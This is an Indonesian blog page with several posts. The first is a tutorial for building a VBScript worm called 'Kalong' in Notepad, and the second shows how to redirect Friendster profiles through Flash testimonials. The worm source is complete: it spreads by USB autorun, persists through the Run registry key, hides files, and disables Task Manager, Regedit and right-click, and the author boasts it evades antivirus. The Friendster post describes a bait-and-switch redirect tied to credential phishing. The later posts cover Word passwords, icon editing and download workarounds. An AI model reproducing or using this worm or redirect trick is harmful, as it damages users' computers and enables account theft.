Senin, 08 September 2008

Membuat Virus Menggunakan Notepad


Iseng-iseng mencolok Flash Disc saudara saya tiba-tiba saya nemu sebuah malcode lokal yang dibuat dengan bahasa VBS. Wah, ternyata para virus maker mulai melirik memakai bahasa VBS. Mungkin karena menyangkut HAKI (Hak Atas Kekayaan Intelektual) karena VB6.0 yang banyak beredar adalah bajakan. Jadi ia membuat virus dengan VBS yang bisa dibuat hanya dengan Notepad karena di Windows sudah ada compiler yang terintegrasi dengannya, Windows Based Script Host.Sesua janji saya, kita akan membuat virus yang sederhana menggunakan Notepad. Virus ini akan membuat dirinya menyebar ke removable disc dengan AutoRun sehingga komputer lain yang tercolok flash disc terinfeksi akan langsung menjadi korban tanpa menungu User menjalankan infector-nya. Virus ini saya beri nama “Kalong.VBS”. Sekarang buka Notepad-nya. Copy kode berikut :‘//–Awal dari kode, set agar ketika terjadi Error dibiarkan dan kemudian lanjutkan kegiatan virus–//
on error resume next’//–Dim kata-kata berikut ini–//
dim rekur,windowpath,flashdrive,fs,mf,isi,tf,kalong,nt,check,sd

‘//–Set sebuah teks yang nantinya akan dibuat untuk Autorun Setup Information–//
isi = “[autorun]” & vbcrlf & “shellexecute=wscript.exe k4l0n6.dll.vbs”
set fs = createobject(”Scripting.FileSystemObject”)
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text = mf.openastextstream(1,-2)
do while not text.atendofstream
rekur = rekur & text.readline
rekur = rekur & vbcrlf
loop
do

‘//–Copy diri untuk menjadi file induk di Windows Path (example: C:\Windows)
Set windowpath = fs.getspecialfolder(0)
set tf = fs.getfile(windowpath & “\batch- k4l0n6.dll.vbs “)
tf.attributes = 32
set tf=fs.createtextfile(windowpath & “\batch- k4l0n6.dll.vbs”,2,true)
tf.write rekursif
tf.close
set tf = fs.getfile(windowpath & “\batch- k4l0n6.dll.vbs “)
tf.attributes = 39
‘//–Buat Atorun.inf untuk menjalankan virus otomatis setiap flash disc tercolok–//
‘Menyebar ke setiap drive yang bertype 1 dan 2(removable) termasuk disket

for each flashdrive in fs.drives
‘//–Cek Drive–//
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> “A:” then

‘//–Buat Infector jika ternyata Drivetypr 1 atau 2. Atau A:\–//
set tf=fs.getfile(flashdrive.path &”\k4l0n6.dll.vbs “)
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &”\k4l0n6.dll.vbs “,2,true)
tf.write rekursif
tf.close
set tf=fs.getfile(flashdrive.path &”\k4l0n6.dll.vbs “)
tf.attributes = 39

‘//–Buat Atorun.inf yang teks-nya tadi sudah disiapkan (Auto Setup Information)–//
set tf =fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &”\autorun.inf”,2,true)
tf.write isi
tf.close
set tf = fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes=39
end if
next

‘//–Manipulasi Registry–//

set kalong = createobject(”WScript.Shell”)

‘//–Manip - Ubah Title Internet Explorer menjadi THE KALONG v.s. ZAY–//
kalong.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title”,” THE KALONG v.s. ZAY “

‘//–Manip – Set agar file hidden tidak ditampilkan di Explorer–//
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden”, “0″, “REG_DWORD”

‘//–Manip – Hilangkan menu Find, Folder Options, Run, dan memblokir Regedit dan Task Manager–//
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”, “1″, “REG_DWORD”

‘//–Manip – Disable klik kanan–//
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu”, “1″, “REG_DWORD”

‘//–Manip - Munculkan Pesan Setiap Windows Startup–//
kalong.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption”, “Worm Kalong. Variant from Rangga-Zay, don’t panic all data are safe.”

‘//–Manip – Aktif setiap Windows Startup–//
kalong.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Systemdir”, windowpath & “\batch- k4l0n6.dll.vbs “

‘//–Manip – Ubah RegisteredOwner dan Organization–//
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization”, “The Batrix”
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner”,”Kalong”

‘//–Nah kalau kode dibawah ini saya nggak tau, tolong Mas Aat_S untuk menjelaskan–//
if check <> 1 then
Wscript.sleep 200000
end if
loop while check <> 1
set sd = createobject(”Wscript.shell”)
sd.run windowpath & “\explorer.exe /e,/select, ” & Wscript.ScriptFullname
‘Akhir dari Kode

Save code di Notepad dengan cara FILE > SAVE. Lalu di save as type pilih “All Files (*.*). Simpan dengan nama : k4l0n6.dll.vbs. Sebenarnya gak usah pake *.dll juga gak apa-apa tapi usaha agar tidak mencurigakan aja.

He..he…Virus Worm ini memang bukan murni dari pemikiran saya sendiri karena meniru kode-nya virus Rangga-Zay. Tapi yang ini lebih bagus karena tidak terdeteksi pakai PCMAV RC15, CLAMAV, dan AVAST. Itung-itung ini buat Anda tahu kalau membuat virus/worm tidak perlu membeli software bajakan. Pakai Notepad (dari Windows Original) juga bisa.

membobol password FS

Hack Friendster





Dalam artikel saya sebelumnya mengenai Friendster palsu, teknik yang digunakan untuk me-redirect suatu profile dari Friendster adalah dengan menggunakan flash. Sekarang saya ingin memberikan contoh bagaimana kita me-redirect profile Friendster seseorang menuju URL yang kita inginkan. Pertama kita buat script flash sederhana seperti kode dibawah ini. Untuk yang menggunakan linux, install Ming package terlebih dahulu. Ming adalah library yang dapat menghasilkan file Macromedia Flash (.swf). Jika anda menggunakan ubuntu dan belum menginstall, jalankan perintah berikut :

apt-get install libming-util

Jika Ming berhasil diinstal, buat sebuah file dengan editor anda yang berisi kode berikut dan simpan dengan nama flash.as :

getURL("http://www.contoh.com");

misalkan seperti berikut :

getURL("http://chaidir.wordpress.com");

Setelah itu buat file flash (.swf) dengan menjalankan perintah berikut :

chaidir@osxbuntu:~$ /usr/lib/libming/bin/makeswf flash.as

Jika berhasil, maka akan dihasilkan file Flash bernama out.swf. File ini ketika diakses dari browser, akan me-redirect ke URL yang kita definisikan sebelumnya. Contohnya silahkan akses flash yang telah saya buat disini. Apabila anda mengakses url tersebut, maka anda langsung ‘diarahkan’ menuju http://chaidir.wordpress.com.

Selanjutnya upload file flash tadi (out.swf) ke tempat yang mudah diakses. Misalkan di http://numpang.com/out.swf. Setelah itu, kirim testimonial ke orang yang ingin di berikan testimonial dengan memasukkan file flash ini.

Jangan mengirimkan testimonial ini keteman anda, karena profile teman anda tidak akan bisa diakses!

Caranya masukkan kode berikut :



cab#version=6,0,29,0′ width=’400′ height=’250′>


pluginspage=’http://www.macromedia.com/go/getflashplayer’ type=’application/x-shockwave-flash’ width=’400′ height=’250′ allowScriptAccess=”never”>








Untuk mencoba apakah testimonial ini berhasil, klik priview. Agar sang penerima testimonial bisa meng-approve testimonial, hapus ganti file flash tadi terlebih dahulu (http://numpang.com/out.swf) dengan flash animasi yang menarik perhatian. Misalnya dengan flash dari Babaflash Forum. Baru setelah di approve, aktifkan ganti lagi (upload lagi) dengan file flash tadi.

Nah, dalam contoh kasus di Friendster palsu, sang cracker me-redirect setiap user yang ingin melihat profile yang sudah disusupi flash tadi dan mengarahkannya ke http://www.friendster.co.nr. Dan celakanya disitu dibuat halaman yang menyerupai halaman login Friendster dan seolah-olah terjadi kesalahan yang mengharuskan setiap user memasukkan email dan passwordnya.

‘Fasilitas’ untuk mengirimkan testimonial di Friendster inilah yang dimanfaatkan cracker untuk ‘mengelabuhi’ orang-orang yang sering bermain-main dengan Friendster. Oleh karena itu, berhati-hatilah terhadap testimonial yang menggunakan flash. Jika mendapatkan testimonail dari orang yang tidak dikenal (emang bisa ya?) atau flash yang ngga penting, lebih baik tidak usah di approve aja.

Rabu, 03 September 2008

Password File Pada Microsoft Word

Password File Pada Microsoft Word
Oleh : SaNi



Adakalanya kita mempunyai sebuah file document yang sangat penting isinya,
karena pentingnya hingga statusnya harus naik menjadi file rahasia. Tentunya file ini
harus kita beri sebuah sandi atau password agar siapa yang membukanya benar-benar
orang yang diizinkan untuk file tersebut. Kali ini kita akan membahas bagaimana cara
membuatnya.
Sebelum kita memberi password, perlu diketahui bahwa ada berbagai macam level
password pada Microsoft Word, kali ini kita akan membahas tiga level password saja,
yaitu:
a. Password open file
Password diminta saat pengguna akan membuka sebuah file dokument.
b. Password memodifikasi file
Pada pilihan jenis ini pasword diminta hanya saat dokumen akan dimodifikasi
oleh pengguna.
c. Password modifikasi dan open file
Untuk pilihan ini gabungan antara pilihan satu dan dua. Saat pengguna membuka
dan memodifikasi dokumen akan selalu dimintai password
Anda bisa menyesuaikan dengan ketiga pilihan tersebut, gunakan yang benar-benar
sesuai untuk kepentingan anda. Misalnya untuk file dokumen yang hanya boleh dilihat
saja, sebaiknya gunakan level password open file. Jadi siapapun boleh melihat tapi, saat
akan memodifikasi harus memasukan passwordnya. Contoh
lain anda bisa
menyesuaiakannya.
Bagaimana caranya, Berikut ini langkah-langkahnya:
1. Buka file document yang telah anda tulis menggunakan Microsoft Word, atau buka
lembar kerja baru lalu anda memulai menulis sesuatu yang anda rasa bahwa tulisan
itu adalah rahasia. Ilustrasinya berikut ini:

CARA BEGO : MENGUBAH ICON-ICON WINDOWS9x TERMASUK ICON SHELL, PRINTER, TEXT, FILE GAMBAR, AUDIO, VIDEO, DRIVE, CDROM, dan LAIN-LAIN tanpa menggunakan

CARA BEGO : MENGUBAH ICON-ICON WINDOWS9x TERMASUK ICON SHELL, PRINTER, TEXT, FILE GAMBAR, AUDIO, VIDEO, DRIVE, CDROM, dan LAIN-LAIN tanpa menggunakan ICON PACKAGER!


Ada pertanyaan. Apakah itu Dual OS dan Single OS?
Baiklah, akan saya jelaskan. Dual OS atau disebut juga dengan Dual OverSoul adalah menggunakan dua buah media Oversoul dengan satu Roh (hitodama) dengan syarat media Utama adalah lambang dari kekuatan Roh, dan media kedua sebagai penambah kekuatan Oversoul. Sedangkan Single OS atau Single OverSoulhanya menggunakan satu media saja yaitu satu media utama. Untuk referensi, silahkan membaca Shaman King Karya Dr. Hiroyuki Takei, dan jika ada pertanyaan, silahkan kirim PM kepada saya.

Untuk melaksanakan penggantian, sebelumnya, saya memaksa anda untuk mencari sebuah program kecil yang muat dalam disket. Program ini bernama RESOURCE HACKER atau biasa disingkat RESHACK. Silahkan cari di Google, atau hubungi saya, sekali lagi via PM, atau lewat hape. Silahkan tanya nomor hape saya ke Staff-Staff animemata terdekat. (itupun kalo bener karena nomor saya sendiri ada 15 buah! Wahahahahahahahahahahaaa!)

BAB 1 : PERSIAPAN
1. Backuplah sebuah file kecil yang imut dan manis dari folder windows anda, dan simpan di disket, folder lain, atau dalam lemari. Nama file itu adalah shell32.dll yang beralamat di : Jalan System Kota Windows Propinsi ntC (Nusa Tenggara Cute)
Bagi yang kurang tahu, Caranya, pergi ke C, masuk ke Windows, buka system.
2. Siapkan icon-icon yang ingin anda gunakan. Semakin banyak, semakin baik.
3. Senyum, dan berdoalah, agar apa yang anda kerjakan bisa membawa hasil yang membahagiakan bagi bangsa dan negara.

BAB 2 : MELAKUKAN PENGGANTIAN PADA PC YANG MEMILIKI DUAL OS

Kita asumsikan, bahwa Sistem Operasi yang pertama adalah Windows98, dan OS kedua adalah WindowsXP
1. Buka WindowsXP.
2. Jalankan program Reshacker, kemudian file->open->C:\windows\system\shell32.dll
3. Setelah terbuka, klik action->replace icon
4. Klik open file with new icon, dan pilih icon mana yang mau diganti dengan memilih nomor 1-173 pada bagian select icon to replace.
5. Klik REPLACE
6. Untuk mengganti icon yang lain, ulangi langkah yang sama dari no 3 sampai no 5
7. Restart windows, dan saat windows98 sedang di-load, reset komputer agar menjalankan program scandisk.
SELESAI! SEKARANG TIDAK AKAN ADA BANGSA YANG BERANI MENJAJAH KITA LAGI! MERDEKA!!!!!!(atau mati… dalam hal ini, bila terjadi kesalahan, windows akan mati total)

BAB 3 : MELAKUKAN PENGGANTIAN PADA PC YANG MEMILIKI SINGLE OS
Pertama tama, siapkanlah sebuah start-up disk, caranya, masukkan disket kosong di Disket Drive, pilih properties, format, trus centengin “make startup disk.” bisa juga dengan menyiapkan sebuah CD installer windows yang bootable. Cara mendapatkannya yaitu dengan pergi ke pusat penjualan CD komputer, kemudian masukkan Command pada penjaga toko.
Commandnya adalah mas:\>beli cdboot %1 d[onk]
kemudian,
1. buatlah sebuah folder bernama xtra pada direktori C kemudian kopikan file C:\windows\system\shell32.dll ke folder tersebut.

2. Editlah file tersebut dengan menggunakan reshacker seperti langkah no 3 sampai no 5 pada bab satu.

3. Restartlah, kemudian boot lewat Start Up Disk (setting di bioasnya supaya 1stboot devicenya floppy disk). Jika menggunakan CD, jangan lupa seting 1stboot device menjadi CDrom lewat bios, dan saat konfirmasi, pilihlah start komputer with CDrom Support.

4, MAsukkan Command Berikut :
C:\
CD windows
CD system

sehingga path yang tertulis di layar sebagai berikut: C:\windows\system>
cek, apa tulisannye kaya gitu pa ngga? kalo ya, masukkan command berikut :
Copy C:\xtra ingat? xtra adalah nama folder yang sebelumnya kita buat.

komputer akan bertanya, apakah kita ingin menimpa file shell32 yang sudah ada dengan shell32 yang baru kita buat. Perasaan ini kira-kira sama seperti saat Tantowi yahya bertanya kepada kita, “apakah anda yakin?” di pertanyaa yang bernilai 500 juta rupiah setelah titik aman kedua.

Hantam saja Tantowi dengan command Y kemudian ENTER!
5. Keluarkan CD/Boot Disk, dan restart windows seperti langkah no 7 pada bab 1, dan sekali lagi…
SELESAI! SEKARANG TIDAK AKAN ADA BANGSA YANG BERANI MENJAJAH KITA LAGI! MERDEKA!!!!!!(atau mati… dalam hal ini, bila terjadi kesalahan, windows akan mati total)

Note : pada windows NT,2x, dan XP, file Shell32.dll tidak terletak pada folder windows\system TETAPI pada folder windows\system32

Dan, akhirnya, berakhir pulalah tutorial ini. Sampai jumpa di tutorial tutorial yang berikutnya, dan, tetap,
SEMANGAT!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

Cara mengUpload file ke gudangupload.com

Bagi yang hobi share file2 seperti mp3, foto, software dll ternyata asik juga ya..? tetapai bagaimana apabila kita ingin membaginya pada teman2 ataupun orang lain melalui internet? Sekarang dengan adanya Web portal lokal, kita bisa berbagi file. Caranya

Masuk/login ke gudangupload.com, setelah elo login dan dapat konfirmasinya melalui email, elo baru bisa login.

Setelah berhasil login, elo kudu upload. Terus.??? dimana tombol uploadnya..?

Caranya : liat alamat yg ada di address bar, http://gudangupload.com/index.php ganti dengan http://gudangupload.com/index.php?page=upload
Selanjutnya,.. ya seperti biasa, elo tinggal masukin file yang akan dibagi ke dalam menu upload.

Gampang bukan..???
Nah.. ada satu lagi yang biasa gue pakai, yaitu Rapidshare.de

Buat elo yang belom tau bagaimana cara upload di rapidshare.de … berikut gue coba kasih tau beberapa storage server yang biasa digunakan di sini.

Rapidshare (http://rapidshare.de)

setelah elo klik link di atas, sebagian page yang akan tampil seperti berikut:

http://i3.tinypic.com/vpfgj8.jpg

klik Browse >> Pilih File yang mau diupload >> Klik Upload.
Maximum File-Size sekali upload: 100 MB

Sifat dari Rapidshare:

Apabila file yang kamu upload itu sebelumnya sudah pernah diupload di Rapidshare (dengan File-Size yang sama) meskipun nama file-nya diubah, maka link yang akan keluar setelah file tersebut diupload adalah link file yang sebelumnya, bukan link baru dan Tidak Ada Delete link nya. Delete Link telah diberikan Rapidshare pada uploader pertama dari file itu.

File yang telah diupload ke Rapidshare akan disimpan terus selama ada yang download. File uploadan lo baru dihapus apabila file tersebut sama sekali tidak ada yang download selama 30 hari.

Upload dan download file di rapidshare relatif lebih cepat rate-nya dibanding di storage server lainnya.

Memberikan banyak kemudahan bagi pemilik Premium Account.

Rabu, 30 Juli 2008

TEKNIK/METODE BARU DOWNLOAD MUSIK MP3 DI MULTIPLY.COM


Sebelumnya pada multiply dilarang untuk mendownload langsung yang mungkin dikarenakan penghematan bandwith atau mencegah peredaran musik ilegal pada situs mereka. Berikut ini adalah cara terbaru download musik di multiply dot com :

1. Buka google lalu cari "site:multiply.com " tanpa tanda kutip di mana adalah artis dan atau lagu yang dicari. Bisa juga dengan mencari di situs multiply http://multiply.com/search dan pastikan anda telah terdaftar sebagai anggota multiply serta telah login. Multiply telah mendisable pencarian pada "site:multiply.com/music ".
2. Masuk sampai pada halaman musiknya di mana ada tulisan " this list" dengan contoh link seperti "http://XXX.multiply.com/music/item/XXX" di mana bisa apa saja baik angka maupun huruf.
3. Klik link " this list" lalu download list tersebut, kemudian mainkan dengan program pemutar musik dijital seperti winamp yang dapat anda download secara gratis.
4. Pada list akan terlihat link seperti "http://images. .multiply.com/song/XXX" pada list atau pada file info jika kita klik kanan lagu yang menjadi target.
5. Catat link tersebut atau dikopi dari view file info lalu akses link tersebut dengan menggunakan web browser seperti internet explorer / IE, opera atau mozilla firefox. Nanti akan muncul kotak dialog download lagu. Selamat berburu dan mendownload lagu mp3 di internet.

Catatan Penting :
- Janganlah mendownload lagu komerial yang dilindungi oleh hak cipta di mana anda tidak memiliki kopian aslinya baik dalam bentu cd maupun kaset.
- Belilah kaset dan cd yang asli untuk dapat lebih menghargai artis dan berpartisipasi dalam meningkatkan pemasukan negara.
- Anda boleh mendownload mp3 jika mempunyai kopian aslinya.